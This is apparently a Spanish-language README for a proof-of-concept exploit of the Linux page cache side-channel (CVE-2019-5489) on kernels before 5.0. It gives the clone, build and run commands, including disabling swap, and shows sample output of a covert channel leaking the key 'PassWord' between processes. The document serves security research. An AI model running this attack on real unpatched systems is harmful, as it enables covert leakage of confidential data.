
Prueba de concepto de ataques de canal lateral de Page Cache (CVE-2019-5489) para Linux
Este repositorio contiene una prueba de concepto de los Ataques de Canal Lateral de Page Cache (CVE-2019-5489) para Linux.
Para evaluar el canal lateral de page cache, he implementado un canal encubierto entre dos procesos. El proceso emisor envía datos confidenciales a un proceso receptor a través del canal lateral de page cache. Los ataques de page cache han sido mitigados en Linux Kernel 5.0 y posteriores, por lo que esta PoC solo funcionará antes de Linux Kernel 5.0.
NOTA: He probado su funcionamiento en Ubuntu 18.04, Linux 4.15.0-70.
Ejecute el siguiente comando.
git clone https://github.com/mmxsrup/CVE-2019-5489
cd CVE-2019-5489
make
Desactive el espacio de intercambio (swap) para facilitar el ataque.
swapoff -a
Primero, ejecute el siguiente comando en la terminal 1.
make run-sender
Después de que se muestre sending 1th character ... en la terminal 1, ejecute el siguiente comando.
make run-receiver
Si la ejecución es exitosa, se mostrará lo siguiente.
Esto muestra que la clave fue enviada del proceso Sender al proceso Receiver a través del canal lateral de page cache.
LD_LIBRARY_PATH=. ./sender
Sender process
ecicting page cache ...
sending 1th character ...
ecicting page cache ...
sending 2th character ...
ecicting page cache ...
sending 3th character ...
ecicting page cache ...
sending 4th character ...
ecicting page cache ...
sending 5th character ...
ecicting page cache ...
sending 6th character ...
ecicting page cache ...
sending 7th character ...
ecicting page cache ...
sending 8th character ...
ecicting page cache ...
sending 9th character ...
LD_LIBRARY_PATH=. ./receiver
Sender process
waiting ...
recved caracter(P)
waiting ...
recved caracter(a)
waiting ...
recved caracter(s)
waiting ...
recved caracter(s)
waiting ...
recved caracter(W)
waiting ...
recved caracter(o)
waiting ...
recved caracter(r)
waiting ...
recved caracter(d)
waiting ...
recved caracter()
Received key: PassWord